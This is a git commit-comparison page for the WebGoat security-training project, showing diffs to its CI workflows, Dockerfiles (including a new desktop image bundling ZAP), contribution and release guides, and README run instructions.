Compare commits
90 Commits
Author | SHA1 | Date | |
---|---|---|---|
46f0411678 | |||
8f6e47e6d4 | |||
61de52840f | |||
fd3eb2451c | |||
32fa1ec0a6 | |||
ad00119b0d | |||
25f49537e7 | |||
8cb735e623 | |||
155a40aab4 | |||
6c4ddbbaad | |||
d704f69879 | |||
3b2b613aa5 | |||
934ba3e496 | |||
8ec718c1ef | |||
1df7ca61a3 | |||
75398feca0 | |||
76a2365abf | |||
015216df5f | |||
60fc807d36 | |||
636a2bdaf5 | |||
816a694c84 | |||
06a55ab278 | |||
0136c1070f | |||
dce5eeb797 | |||
ca886b4818 | |||
ff3a2983e2 | |||
6f0b88f9b6 | |||
9d9fb092be | |||
4bc53a6666 | |||
61d5fb9ece | |||
6eafa45e4c | |||
ac6de9d788 | |||
f6855bf6a5 | |||
f7b4af5023 | |||
e720eec5f9 | |||
a43a6125e8 | |||
d3e2164716 | |||
cbf2e153d9 | |||
0795ff0fc5 | |||
d7cdfeec2a | |||
491fe2d84d | |||
a509e8e24e | |||
e50986a098 | |||
61dac201f0 | |||
c5629be618 | |||
df8c83fe74 | |||
6d3813c2ce | |||
ecfa0197af | |||
8467ae8a0b | |||
5243fa2bf2 | |||
36f99dede8 | |||
5dbe2eaf19 | |||
1b49b2fd3b | |||
b49c61636b | |||
8269207d6b | |||
de2f568229 | |||
9f6cf39ff2 | |||
19d54dbe95 | |||
0f38519ecf | |||
4c95c9ec6a | |||
f6c7a54931 | |||
f1012c85d6 | |||
ecfc321f14 | |||
73b8c431fc | |||
b68adfbc7c | |||
1a2855afcd | |||
693771220c | |||
075b1ab30a | |||
390ff39f19 | |||
3ec34b0df5 | |||
eb4c8388f8 | |||
ae081ce319 | |||
bd398e4c09 | |||
c9d1653d4f | |||
77c91b8df8 | |||
f9b810c5ee | |||
dc0fc09679 | |||
a0173fd8f8 | |||
edd9aa36c2 | |||
81ed738493 | |||
a108a937b5 | |||
6398d31c14 | |||
7847e69574 | |||
7881a70273 | |||
45c420ed05 | |||
2c6c103f3b | |||
c0ce72a2bd | |||
a4f7059051 | |||
bd16fedb33 | |||
c8ac054093 |
@ -1,3 +1,4 @@
|
|||||||
**
|
**
|
||||||
|
|
||||||
!/target
|
!/target
|
||||||
|
!/config/desktop
|
||||||
|
12
.github/dependabot.yml
vendored
12
.github/dependabot.yml
vendored
@ -1,7 +1,15 @@
|
|||||||
version: 2
|
version: 2
|
||||||
updates:
|
updates:
|
||||||
# Maintain dependencies for GitHub Actions
|
|
||||||
- package-ecosystem: "github-actions"
|
- package-ecosystem: "github-actions"
|
||||||
directory: "/"
|
directory: "/"
|
||||||
schedule:
|
schedule:
|
||||||
interval: "daily"
|
interval: "weekly"
|
||||||
|
- package-ecosystem: "maven"
|
||||||
|
directory: "/"
|
||||||
|
schedule:
|
||||||
|
interval: "weekly"
|
||||||
|
- package-ecosystem: "docker"
|
||||||
|
directory: "/"
|
||||||
|
schedule:
|
||||||
|
interval: "weekly"
|
||||||
|
|
||||||
|
56
.github/workflows/build.yml
vendored
56
.github/workflows/build.yml
vendored
@ -1,21 +1,10 @@
|
|||||||
name: "Build"
|
name: "Pull requests build"
|
||||||
on:
|
on:
|
||||||
pull_request:
|
pull_request:
|
||||||
paths-ignore:
|
paths-ignore:
|
||||||
- '.txt'
|
- '.txt'
|
||||||
- 'LICENSE'
|
- 'LICENSE'
|
||||||
- 'docs/**'
|
- 'docs/**'
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- main
|
|
||||||
- develop
|
|
||||||
- release/*
|
|
||||||
tags-ignore:
|
|
||||||
- '*'
|
|
||||||
paths-ignore:
|
|
||||||
- '.txt'
|
|
||||||
- 'LICENSE'
|
|
||||||
- 'docs/**'
|
|
||||||
|
|
||||||
jobs:
|
jobs:
|
||||||
pr-build:
|
pr-build:
|
||||||
@ -38,31 +27,34 @@ jobs:
|
|||||||
java-version: 17
|
java-version: 17
|
||||||
architecture: x64
|
architecture: x64
|
||||||
- name: Cache Maven packages
|
- name: Cache Maven packages
|
||||||
uses: actions/cache@v3.2.3
|
uses: actions/cache@v3.3.1
|
||||||
with:
|
with:
|
||||||
path: ~/.m2
|
path: ~/.m2
|
||||||
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
|
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
|
||||||
restore-keys: ${{ runner.os }}-m2-
|
restore-keys: ${{ runner.os }}-m2-
|
||||||
- name: Build with Maven
|
- name: Build with Maven
|
||||||
run: mvn --no-transfer-progress verify
|
run: mvn --no-transfer-progress verify
|
||||||
|
- name: "Set up QEMU"
|
||||||
build:
|
if: runner.os == 'Linux'
|
||||||
if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
|
uses: docker/setup-qemu-action@v2.2.0
|
||||||
runs-on: ubuntu-latest
|
- name: "Set up Docker Buildx"
|
||||||
name: "Branch build"
|
if: runner.os == 'Linux'
|
||||||
steps:
|
uses: docker/setup-buildx-action@v2
|
||||||
- uses: actions/checkout@v3
|
- name: "Verify Docker WebGoat build"
|
||||||
- name: set up JDK 17
|
if: runner.os == 'Linux'
|
||||||
uses: actions/setup-java@v3
|
uses: docker/build-push-action@v4.1.1
|
||||||
with:
|
with:
|
||||||
distribution: 'temurin'
|
context: ./
|
||||||
java-version: 17
|
file: ./Dockerfile
|
||||||
architecture: x64
|
push: false
|
||||||
- name: Cache Maven packages
|
build-args: |
|
||||||
uses: actions/cache@v3.2.3
|
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||||
|
- name: "Verify Docker WebGoat desktop build"
|
||||||
|
uses: docker/build-push-action@v4.1.1
|
||||||
|
if: runner.os == 'Linux'
|
||||||
with:
|
with:
|
||||||
path: ~/.m2
|
context: ./
|
||||||
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
|
file: ./Dockerfile_desktop
|
||||||
restore-keys: ubuntu-latest-m2-
|
push: false
|
||||||
- name: Test with Maven
|
build-args: |
|
||||||
run: mvn --no-transfer-progress verify
|
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||||
|
72
.github/workflows/release.yml
vendored
72
.github/workflows/release.yml
vendored
@ -13,19 +13,15 @@ jobs:
|
|||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v3
|
- uses: actions/checkout@v3
|
||||||
|
|
||||||
- name: "Get tag name"
|
|
||||||
id: tag
|
|
||||||
uses: dawidd6/action-get-tag@v1
|
|
||||||
|
|
||||||
- name: Set up JDK 17
|
- name: Set up JDK 17
|
||||||
uses: actions/setup-java@v3
|
uses: actions/setup-java@v3
|
||||||
with:
|
with:
|
||||||
distribution: 'zulu'
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
architecture: x64
|
architecture: x64
|
||||||
|
|
||||||
- name: Cache Maven packages
|
- name: Cache Maven packages
|
||||||
uses: actions/cache@v3.2.3
|
uses: actions/cache@v3.3.1
|
||||||
with:
|
with:
|
||||||
path: ~/.m2
|
path: ~/.m2
|
||||||
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
|
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
|
||||||
@ -33,8 +29,8 @@ jobs:
|
|||||||
|
|
||||||
- name: "Set labels for ${{ github.ref }}"
|
- name: "Set labels for ${{ github.ref }}"
|
||||||
run: |
|
run: |
|
||||||
echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV
|
echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
|
||||||
WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }}
|
WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
|
||||||
echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
|
echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
|
||||||
- name: Build with Maven
|
- name: Build with Maven
|
||||||
run: |
|
run: |
|
||||||
@ -48,7 +44,7 @@ jobs:
|
|||||||
files: |
|
files: |
|
||||||
target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
|
target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
|
||||||
body: |
|
body: |
|
||||||
## Version ${{ steps.tag.outputs.tag }}
|
## Version ${{ github.ref_name }}
|
||||||
|
|
||||||
### New functionality
|
### New functionality
|
||||||
|
|
||||||
@ -58,7 +54,7 @@ jobs:
|
|||||||
|
|
||||||
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
|
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
|
||||||
|
|
||||||
Full change log: https://github.com/WebGoat/WebGoat/compare/${{ steps.tag.outputs.tag }}...${{ steps.tag.outputs.tag }}
|
Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }}
|
||||||
|
|
||||||
|
|
||||||
## Contributors
|
## Contributors
|
||||||
@ -76,7 +72,7 @@ jobs:
|
|||||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||||
|
|
||||||
- name: "Set up QEMU"
|
- name: "Set up QEMU"
|
||||||
uses: docker/setup-qemu-action@v2.1.0
|
uses: docker/setup-qemu-action@v2.2.0
|
||||||
with:
|
with:
|
||||||
platforms: all
|
platforms: all
|
||||||
|
|
||||||
@ -84,13 +80,13 @@ jobs:
|
|||||||
uses: docker/setup-buildx-action@v2
|
uses: docker/setup-buildx-action@v2
|
||||||
|
|
||||||
- name: "Login to dockerhub"
|
- name: "Login to dockerhub"
|
||||||
uses: docker/login-action@v2.1.0
|
uses: docker/login-action@v2.2.0
|
||||||
with:
|
with:
|
||||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
- name: "Build and push"
|
- name: "Build and push WebGoat"
|
||||||
uses: docker/build-push-action@v3.2.0
|
uses: docker/build-push-action@v4.1.1
|
||||||
with:
|
with:
|
||||||
context: ./
|
context: ./
|
||||||
file: ./Dockerfile
|
file: ./Dockerfile
|
||||||
@ -102,37 +98,51 @@ jobs:
|
|||||||
build-args: |
|
build-args: |
|
||||||
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||||
|
|
||||||
- name: "Image digest"
|
- name: "Build and push WebGoat desktop"
|
||||||
run: echo ${{ steps.docker_build.outputs.digest }}
|
uses: docker/build-push-action@v4.1.1
|
||||||
|
with:
|
||||||
|
context: ./
|
||||||
|
file: ./Dockerfile_desktop
|
||||||
|
push: true
|
||||||
|
platforms: linux/amd64, linux/arm64
|
||||||
|
tags: |
|
||||||
|
webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
|
||||||
|
webgoat/webgoat-desktop:latest
|
||||||
|
build-args: |
|
||||||
|
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||||
new_version:
|
new_version:
|
||||||
permissions:
|
|
||||||
contents: write # for Git to git push
|
|
||||||
if: github.repository == 'WebGoat/WebGoat'
|
if: github.repository == 'WebGoat/WebGoat'
|
||||||
name: Update development version
|
name: Update to next SNAPSHOT version
|
||||||
needs: [ release ]
|
needs: [ release ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
environment:
|
|
||||||
name: release
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v3
|
- uses: actions/checkout@v3
|
||||||
with:
|
with:
|
||||||
ref: develop
|
fetch-depth: 0
|
||||||
token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
|
|
||||||
|
|
||||||
- name: Set up JDK 17
|
- name: Set up JDK 17
|
||||||
uses: actions/setup-java@v3
|
uses: actions/setup-java@v3
|
||||||
with:
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
java-version: 17
|
java-version: 17
|
||||||
architecture: x64
|
architecture: x64
|
||||||
|
|
||||||
- name: Set version to next snapshot
|
- name: Set version to next snapshot
|
||||||
run: |
|
run: |
|
||||||
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit
|
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
|
||||||
|
|
||||||
|
- name: Push the changes to new branch
|
||||||
|
uses: devops-infra/action-commit-push@v0.9.2
|
||||||
|
with:
|
||||||
|
github_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||||
|
add_timestamp: true
|
||||||
|
commit_message: "Updating to the new development version"
|
||||||
|
force: false
|
||||||
|
|
||||||
|
- name: Create PR
|
||||||
|
uses: devops-infra/action-pull-request@v0.5.5
|
||||||
|
with:
|
||||||
|
github_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||||
|
title: ${{ github.event.commits[0].message }}
|
||||||
|
target_branch: main
|
||||||
|
|
||||||
- name: Commit pom.xml
|
|
||||||
run: |
|
|
||||||
git config user.name webgoat-github
|
|
||||||
git config user.email owasp.webgoat@gmail.com
|
|
||||||
find . -name 'pom.xml' | xargs git add
|
|
||||||
git commit -m "Updating to the new development version"
|
|
||||||
git push
|
|
||||||
|
13
.github/workflows/test.yml
vendored
13
.github/workflows/test.yml
vendored
@ -2,14 +2,11 @@ name: "UI-Test"
|
|||||||
on:
|
on:
|
||||||
pull_request:
|
pull_request:
|
||||||
paths-ignore:
|
paths-ignore:
|
||||||
- '.txt'
|
|
||||||
- '*.MD'
|
|
||||||
- '*.md'
|
|
||||||
- 'LICENSE'
|
- 'LICENSE'
|
||||||
- 'docs/**'
|
- 'docs/**'
|
||||||
push:
|
push:
|
||||||
# tags-ignore:
|
tags-ignore:
|
||||||
# - '*'
|
- 'v*'
|
||||||
paths-ignore:
|
paths-ignore:
|
||||||
- '.txt'
|
- '.txt'
|
||||||
- '*.MD'
|
- '*.MD'
|
||||||
@ -40,7 +37,7 @@ jobs:
|
|||||||
architecture: x64
|
architecture: x64
|
||||||
#Uses an action to set up a cache using a certain key based on the hash of the dependencies
|
#Uses an action to set up a cache using a certain key based on the hash of the dependencies
|
||||||
- name: Cache Maven packages
|
- name: Cache Maven packages
|
||||||
uses: actions/cache@v3.2.3
|
uses: actions/cache@v3.3.1
|
||||||
with:
|
with:
|
||||||
path: ~/.m2
|
path: ~/.m2
|
||||||
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
|
key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
|
||||||
@ -51,6 +48,8 @@ jobs:
|
|||||||
robotframework
|
robotframework
|
||||||
robotframework-SeleniumLibrary
|
robotframework-SeleniumLibrary
|
||||||
webdriver-manager
|
webdriver-manager
|
||||||
|
selenium==4.9.1
|
||||||
|
# TODO https://github.com/robotframework/SeleniumLibrary/issues/1835
|
||||||
- name: Run with Maven
|
- name: Run with Maven
|
||||||
run: mvn --no-transfer-progress spring-boot:run &
|
run: mvn --no-transfer-progress spring-boot:run &
|
||||||
- name: Wait to start
|
- name: Wait to start
|
||||||
@ -62,7 +61,7 @@ jobs:
|
|||||||
# send report to forks only due to limits on permission tokens
|
# send report to forks only due to limits on permission tokens
|
||||||
- name: Send report to commit
|
- name: Send report to commit
|
||||||
if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
|
if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
|
||||||
uses: joonvena/robotframework-reporter-action@v2.1
|
uses: joonvena/robotframework-reporter-action@v2.2
|
||||||
with:
|
with:
|
||||||
gh_access_token: ${{ secrets.GITHUB_TOKEN }}
|
gh_access_token: ${{ secrets.GITHUB_TOKEN }}
|
||||||
report_path: 'robotreport'
|
report_path: 'robotreport'
|
||||||
|
@ -3,6 +3,7 @@
|
|||||||
[](https://github.com/WebGoat/WebGoat/graphs/contributors)
|
[](https://github.com/WebGoat/WebGoat/graphs/contributors)
|
||||||

|

|
||||||

|

|
||||||
|
[](https://conventionalcommits.org)
|
||||||
|
|
||||||
This document describes how you can contribute to WebGoat. Please read it carefully.
|
This document describes how you can contribute to WebGoat. Please read it carefully.
|
||||||
|
|
||||||
@ -41,6 +42,19 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change
|
|||||||
|
|
||||||
### Write a good commit message
|
### Write a good commit message
|
||||||
|
|
||||||
|
* We use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) and use the following types:
|
||||||
|
|
||||||
|
- fix:
|
||||||
|
- feat:
|
||||||
|
- build:
|
||||||
|
- chore:
|
||||||
|
- ci:
|
||||||
|
- docs:
|
||||||
|
- refactor:
|
||||||
|
- test:
|
||||||
|
|
||||||
|
Using this style of commits makes it possible to create our release notes automatically.
|
||||||
|
|
||||||
* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
|
* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
|
||||||
|
|
||||||
* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
|
* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
|
||||||
@ -86,7 +100,7 @@ For example: `Fix #545` or `Closes #10`
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ git fetch upstream
|
$ git fetch upstream
|
||||||
$ git merge upstream/develop
|
$ git merge upstream/main
|
||||||
```
|
```
|
||||||
|
|
||||||
See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".
|
See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".
|
||||||
|
@ -2,31 +2,20 @@
|
|||||||
|
|
||||||
### Version numbers
|
### Version numbers
|
||||||
|
|
||||||
For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
|
For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
|
||||||
and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use
|
and 2023.01 in the `pom.xml`.
|
||||||
`v8.0.0` in the `pom.xml`
|
|
||||||
|
|
||||||
### Release notes:
|
### Release notes:
|
||||||
|
|
||||||
Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of
|
Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
|
||||||
committers.
|
committers.
|
||||||
|
|
||||||
At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
|
|
||||||
|
|
||||||
```
|
```
|
||||||
git checkout develop
|
mvn versions:set
|
||||||
git flow release start <version>
|
<< update release notes >>
|
||||||
git flow release publish
|
mvn verify
|
||||||
|
git commit ....
|
||||||
<<Make changes if necessary>>
|
git tag v2023.01
|
||||||
<<Update RELEASE_NOTES.md>>
|
|
||||||
|
|
||||||
git flow release finish <version>
|
|
||||||
git push origin develop
|
|
||||||
git push origin main
|
|
||||||
git push --tags
|
git push --tags
|
||||||
```
|
```
|
||||||
|
|
||||||
Now Travis takes over and will create the release in Github and on Docker Hub.
|
|
||||||
|
|
||||||
NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version
|
|
||||||
|
13
Dockerfile
13
Dockerfile
@ -1,8 +1,11 @@
|
|||||||
FROM docker.io/eclipse-temurin:17-jre-focal
|
FROM docker.io/eclipse-temurin:19-jre-focal
|
||||||
|
LABEL NAME = "WebGoat: A deliberately insecure Web Application"
|
||||||
|
MAINTAINER "WebGoat team"
|
||||||
|
|
||||||
RUN useradd -ms /bin/bash webgoat
|
RUN \
|
||||||
RUN chgrp -R 0 /home/webgoat
|
useradd -ms /bin/bash webgoat && \
|
||||||
RUN chmod -R g=u /home/webgoat
|
chgrp -R 0 /home/webgoat && \
|
||||||
|
chmod -R g=u /home/webgoat
|
||||||
|
|
||||||
USER webgoat
|
USER webgoat
|
||||||
|
|
||||||
@ -24,6 +27,8 @@ ENTRYPOINT [ "java", \
|
|||||||
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
|
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
|
||||||
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
|
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
|
||||||
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
|
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
|
||||||
|
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
|
||||||
|
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
|
||||||
"-Drunning.in.docker=true", \
|
"-Drunning.in.docker=true", \
|
||||||
"-Dwebgoat.host=0.0.0.0", \
|
"-Dwebgoat.host=0.0.0.0", \
|
||||||
"-Dwebwolf.host=0.0.0.0", \
|
"-Dwebwolf.host=0.0.0.0", \
|
||||||
|
34
Dockerfile_desktop
Normal file
34
Dockerfile_desktop
Normal file
@ -0,0 +1,34 @@
|
|||||||
|
FROM lscr.io/linuxserver/webtop:ubuntu-xfce
|
||||||
|
LABEL NAME = "WebGoat: A deliberately insecure Web Application"
|
||||||
|
MAINTAINER "WebGoat team"
|
||||||
|
|
||||||
|
WORKDIR /config
|
||||||
|
|
||||||
|
COPY target/webgoat-*.jar /config/webgoat.jar
|
||||||
|
COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
|
||||||
|
COPY config/desktop/start_zap.sh /config/start_zap.sh
|
||||||
|
COPY config/desktop/WebGoat.txt /config/Desktop/
|
||||||
|
|
||||||
|
RUN \
|
||||||
|
case $(uname -m) in \
|
||||||
|
x86_64) ARCH=x64;; \
|
||||||
|
aarch64) ARCH=aarch64;; \
|
||||||
|
*) ARCH=unknown;; \
|
||||||
|
esac && \
|
||||||
|
curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz && \
|
||||||
|
tar zfxv ZAP_2.12.0_Linux.tar.gz && \
|
||||||
|
rm -rf ZAP_2.12.0_Linux.tar.gz && \
|
||||||
|
curl -LO https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.6%2B10/OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
|
||||||
|
tar zfxv OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
|
||||||
|
rm -rf OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
|
||||||
|
chmod +x /config/start_webgoat.sh && \
|
||||||
|
chmod +x /config/start_zap.sh && \
|
||||||
|
apt-get update && \
|
||||||
|
apt-get --yes install vim nano && \
|
||||||
|
echo "JAVA_HOME=/config/jdk-17.0.6+10-jre/" >> .bash_aliases && \
|
||||||
|
echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
|
||||||
|
|
||||||
|
|
||||||
|
ENV JAVA_HOME=/home/webgoat/jdk-17.0.6+10-jre
|
||||||
|
|
||||||
|
WORKDIR /config/Desktop
|
8
FAQ.md
Normal file
8
FAQ.md
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
# FAQ for development
|
||||||
|
|
||||||
|
## Introduction
|
||||||
|
|
||||||
|
### Integration tests fail
|
||||||
|
|
||||||
|
Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.
|
||||||
|
|
27
README.md
27
README.md
@ -6,6 +6,7 @@
|
|||||||
[](https://github.com/WebGoat/WebGoat/releases/latest)
|
[](https://github.com/WebGoat/WebGoat/releases/latest)
|
||||||
[](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
|
[](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
|
||||||
[](https://github.com/WebGoat/WebGoat/discussions)
|
[](https://github.com/WebGoat/WebGoat/discussions)
|
||||||
|
[](https://conventionalcommits.org)
|
||||||
|
|
||||||
# Introduction
|
# Introduction
|
||||||
|
|
||||||
@ -27,24 +28,26 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
|
|||||||
Claiming that you were doing security research will not work as that is the
|
Claiming that you were doing security research will not work as that is the
|
||||||
first thing that all hackers claim.*
|
first thing that all hackers claim.*
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
# Installation instructions:
|
# Installation instructions:
|
||||||
|
|
||||||
For more details check [the Contribution guide](/CONTRIBUTING.md)
|
For more details check [the Contribution guide](/CONTRIBUTING.md)
|
||||||
|
|
||||||
## 1. Run using Docker
|
## 1. Run using Docker
|
||||||
|
|
||||||
|
Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
|
||||||
|
|
||||||
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
|
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
|
||||||
|
|
||||||
The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
|
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
|
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
|
||||||
```
|
```
|
||||||
|
|
||||||
If you want to reuse the container, give it a name:
|
If you want to reuse the container, give it a name:
|
||||||
|
|
||||||
```shell
|
```shell
|
||||||
docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
|
docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
|
||||||
```
|
```
|
||||||
|
|
||||||
As long as you don't remove the container you can use:
|
As long as you don't remove the container you can use:
|
||||||
@ -55,9 +58,15 @@ docker start webgoat
|
|||||||
|
|
||||||
This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
|
This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
|
||||||
|
|
||||||
**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
|
## 2. Run using Docker with complete Linux Desktop
|
||||||
|
|
||||||
## 2. Standalone
|
Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
|
||||||
|
|
||||||
|
```shell
|
||||||
|
docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3. Standalone
|
||||||
|
|
||||||
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
|
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
|
||||||
|
|
||||||
@ -67,7 +76,7 @@ java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-
|
|||||||
|
|
||||||
Click the link in the log to start WebGoat.
|
Click the link in the log to start WebGoat.
|
||||||
|
|
||||||
## 3. Run from the sources
|
## 4. Run from the sources
|
||||||
|
|
||||||
### Prerequisites:
|
### Prerequisites:
|
||||||
|
|
||||||
@ -96,7 +105,7 @@ git checkout <<branch_name>>
|
|||||||
docker build -f Dockerfile . -t webgoat/webgoat
|
docker build -f Dockerfile . -t webgoat/webgoat
|
||||||
```
|
```
|
||||||
|
|
||||||
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
|
Now we are ready to run the project. WebGoat is using Spring Boot.
|
||||||
|
|
||||||
```Shell
|
```Shell
|
||||||
# On Linux/Mac:
|
# On Linux/Mac:
|
||||||
@ -131,6 +140,6 @@ java -jar target/webgoat-2023.3-SNAPSHOT.jar
|
|||||||
Or in a docker run it would (once this version is pushed into docker hub) look like this:
|
Or in a docker run it would (once this version is pushed into docker hub) look like this:
|
||||||
|
|
||||||
```Shell
|
```Shell
|
||||||
docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
|
docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
|
||||||
```
|
```
|
||||||
|
|
||||||
|
@ -1,5 +1,18 @@
|
|||||||
# WebGoat release notes
|
# WebGoat release notes
|
||||||
|
|
||||||
|
## Version 2023.4
|
||||||
|
|
||||||
|
### New functionality
|
||||||
|
|
||||||
|
